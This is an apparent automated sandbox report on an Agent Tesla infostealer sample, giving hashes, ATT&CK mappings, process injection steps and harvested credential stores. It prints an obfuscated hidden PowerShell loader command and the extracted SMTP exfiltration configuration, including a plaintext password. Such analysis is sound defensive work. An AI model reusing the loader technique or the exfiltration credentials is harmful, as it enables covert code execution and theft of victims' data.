agenttesla | edd8ae87a81a2627e70d3df6bbe1a7185c8045bc4ef9624c5f2b8487d86dbd73

General

Target

INV.exe
Size

629KB
MD5

7c37ca93ea31895ae8c37b5086aafb5f
SHA1

36ec354b8f559c44ac1a45d9bbe56ee8dbf883db
SHA256

edd8ae87a81a2627e70d3df6bbe1a7185c8045bc4ef9624c5f2b8487d86dbd73
SHA512

852e0315d1930b9dcb85c7d649c2e0524eaee1ed287d21be6dbb37a27151e200236237b9d9490bc3453bf01ac2baf1e695c83e88484fd5a426482772d52fe864
SSDEEP

12288:mgS5y5R7+SyRps33QjMEVyhxLBDulZ7+OibPNL5lNXKVLbziXMOvrxdRnh457ks3:65yH73QbyLlDu3C/lNXKL3i9v3Idke

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
vjru ncjq zilj zxwk

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
vjru ncjq zilj zxwk
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2288 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exeFugninger.exe

pid process

2288 powershell.exe
2716 Fugninger.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 api.ipify.org
7 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

Fugninger.exe

pid process

2716 Fugninger.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeFugninger.exe

pid process

2288 powershell.exe
2716 Fugninger.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2288 set thread context of 2716 2288 powershell.exe Fugninger.exe

flow	ioc
6	api.ipify.org
7	api.ipify.org

pid	process
2716	Fugninger.exe

description	pid	process	target process
PID 2288 set thread context of 2716	2288	powershell.exe	Fugninger.exe

Drops file in Program Files directory 2 IoCs

Processes:

INV.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Common Files\firbens\psycholeptic.ini	INV.exe
File opened for modification	C:\Program Files (x86)\Common Files\boltholes.obl	INV.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exeFugninger.exe

pid	process
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
2716	Fugninger.exe
2716	Fugninger.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2288 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeFugninger.exe

description pid process

Token: SeDebugPrivilege 2288 powershell.exe
Token: SeDebugPrivilege 2716 Fugninger.exe

description	pid	process
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	2716	Fugninger.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

INV.exepowershell.exe

description	pid	process	target process
PID 2740 wrote to memory of 2288	2740	INV.exe	powershell.exe
PID 2740 wrote to memory of 2288	2740	INV.exe	powershell.exe
PID 2740 wrote to memory of 2288	2740	INV.exe	powershell.exe
PID 2740 wrote to memory of 2288	2740	INV.exe	powershell.exe
PID 2288 wrote to memory of 2648	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2648	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2648	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2648	2288	powershell.exe	cmd.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe
PID 2288 wrote to memory of 2716	2288	powershell.exe	Fugninger.exe

C:\Users\Admin\AppData\Local\Temp\INV.exe
"C:\Users\Admin\AppData\Local\Temp\INV.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Fleapit=Get-Content 'C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Demulsification\Legitimistisk.Rac';$Replevy=$Fleapit.SubString(51921,3);.$Replevy($Fleapit)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:2648

C:\Users\Admin\AppData\Local\Temp\Fugninger.exe
"C:\Users\Admin\AppData\Local\Temp\Fugninger.exe"
3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

4

T1552

Credentials In Files

3

T1552.001

Credentials in Registry

1

T1552.002

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

4

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Demulsification\Legitimistisk.Rac

Filesize
50KB

MD5
e7abb67ce4fba756d35ab5e6dccc3e88

SHA1
4bc08748d926a51c7a6f0fa60a87579f130829e1

SHA256
6063bd1c9f0bf59ce14856996908cc8eaba317bdedf2da271da223a09040a1bd

SHA512
c7c86ad5838ef6e861d06b987a5e1b5dc38fd399ee1b42bec8e5b6a60e473d18449e5baa5264503660eead4b53a439f6142c7e2e30639d2457fde9e8c2ea227b

Download Submit
C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Selinas.Cel

Filesize
311KB

MD5
015664a0e6110b59cd0f52fa4aea9e9a

SHA1
01bb36fa054704ec6fec55856a93498127ab30d0

SHA256
7d950d49a8c2526bed81c4357ed6b6998030a3a3adfa27c29e3b0281a28ed7c7

SHA512
a37a7efe9863da2e44a984a6afc1b15e3eac95ca734bcebf68b4d453dd685a7735e0a0a1b837f641b1f1c0ba0da2002e39427ff4960f863cdec2fc3c3787a63d

Download Submit
\Users\Admin\AppData\Local\Temp\Fugninger.exe

Filesize
629KB

MD5
7c37ca93ea31895ae8c37b5086aafb5f

SHA1
36ec354b8f559c44ac1a45d9bbe56ee8dbf883db

SHA256
edd8ae87a81a2627e70d3df6bbe1a7185c8045bc4ef9624c5f2b8487d86dbd73

SHA512
852e0315d1930b9dcb85c7d649c2e0524eaee1ed287d21be6dbb37a27151e200236237b9d9490bc3453bf01ac2baf1e695c83e88484fd5a426482772d52fe864

Download Submit
memory/2288-8-0x00000000741B1000-0x00000000741B2000-memory.dmp

Filesize
4KB

Download
memory/2288-9-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2288-10-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2288-11-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2288-12-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2288-16-0x0000000006570000-0x00000000084E0000-memory.dmp

Filesize
31.4MB

Download
memory/2288-22-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2716-21-0x0000000000460000-0x00000000014C2000-memory.dmp

Filesize
16.4MB

Download
memory/2716-24-0x0000000000460000-0x00000000004A4000-memory.dmp

Filesize
272KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads